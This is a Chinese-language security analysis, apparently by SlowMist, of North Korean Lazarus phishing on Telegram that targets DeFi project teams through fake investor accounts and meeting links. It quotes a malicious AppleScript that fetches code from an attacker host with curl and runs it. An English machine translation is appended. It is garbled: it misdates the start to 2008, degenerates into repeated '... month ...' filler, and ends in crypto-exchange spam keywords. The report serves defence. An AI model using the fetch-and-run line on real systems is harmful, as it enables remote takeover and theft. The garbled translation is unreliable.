朝鲜黑客 Telegram 定点欺诈攻击分析
背景
早在 2022 年，慢雾安全团队就通过慢雾 BTI 情报网络发现朝鲜黑客 Lazarus 团伙开启针对加密货币行业的大规模 Telegram 欺诈钓鱼行动，近期朝鲜黑客更是开始冒充知名投资机构，对项目方进行欺诈钓鱼，鉴于影响范围较大，慢雾在此进行分析。
技战法
一、挑选知名投资机构作为冒充对象，然后建立虚假的 Telegram 帐号：
二、寻找知名的 DeFi 项目方作为目标，以要投资他们为名，使用虚假帐号开始实施骗局：
朝鲜黑客会先对目标发起聊天以建立联系，如果项目方看到消息且安全意识不足，就会出现下图的一幕：
朝鲜黑客骗取项目方的信任后便开始约会议，此处有两种攻击手法：
1. 邀请项目方加入如 ***.group-meeting.team 之类的会议，假装询问对方是否有时间安排会面或详谈，并主动提供恶意会议链接。项目方点击链接后会看到地区访问限制，这时朝鲜黑客会接着诱使项目方下载并运行其提供的“修改定位”的恶意脚本。一旦项目方照做，那么他的电脑就会被朝鲜黑客控制，导致资金被盗取。下面是恶意脚本 IP_Request.scpt 的内容：
set fix_url to "https://support.group-meeting.online/778188/request-for-troubleshooting"
set sc to do shell script "curl -L -k""& fix_url &"\""
run script sc
代码解释：
2. 利用 Calendly 会议预定系统的“添加自定义链接”在事件页面的功能，在事件上插入恶意链接发起钓鱼攻击。由于 Calendly 与大多数项目方的日常工作背景很好地融合在一起，因此这些恶意链接不容易引起怀疑，项目方容易无意中点击恶意链接，下载并执行恶意代码，此时朝鲜黑客同样可以获取到项目方系统相关信息或权限。
慢雾安全团队在 2023 年 11 月 30 日 也对相关攻击手法做过提醒：

总结
鉴于此类诈骗行为仍在持续发生，建议 Web3 用户务必确保在添加好友时通过双重渠道确认对方的真实性，同时对 Telegram 开启双重身份验证（2FA），随时注意交易安全，以免遭受资金损失。
一旦不慎运行相关木马，请第一时间转移相关资金、断网杀毒，同时修改目标电脑上（包括浏览器里记录的）相关账号密码等信息。
Background As early as 2008, the slow fog security team discovered through the slow fog intelligence network that North Korean hackers started a large-scale fraudulent fishing operation against the cryptocurrency industry. Recently, North Korean hackers even began to impersonate well-known investment institutions to defraud the project parties. In view of the large scope of influence, slow fog analyzed the technical tactics here: first, select well-known investment institutions as impersonations, and then establish fake accounts; second, find well-known project parties as the goal, and use fake accounts to start cheating in the name of investing in them. North Korean hackers will chat with the target first to establish contact. If the project party sees the news and lacks security awareness, the following scene will appear. After North Korean hackers cheat the project party's trust, they will start a meeting. Here, there are two attack methods to invite the project party to join a meeting like this, pretending to ask the other party if they have time to arrange a meeting or discuss it in detail and offer malicious meeting links. After clicking the link, the project party will see regional access restrictions. At this time, North Korean hackers will then induce the project party to download and run it. Once the project party does the malicious script to modify the positioning, his computer will be controlled by North Korean hackers, resulting in the theft of funds. The following is the content code explanation of the malicious script. Using the function of adding custom links in the event page of the conference reservation system, malicious links are inserted into the event to launch phishing attacks. Because they are well integrated with the daily work background of most project parties, these malicious links are not easy to arouse suspicion, and the project party is easy to click on malicious links unintentionally to download and Execute malicious code. At this time, the North Korean hacker can also obtain the relevant information or authority of the project's system. The slow fog security team also reminded the relevant attack methods on ... month ... month ... month ... month ... month ... month ... month ... month ... month ... month ... month ... month ... month ... month .... month ... month ... month ... month ... month ... month .... month ... 比特币今日价格行情网_okx交易所app_永续合约_比特币怎么买卖交易_虚拟币交易所平台
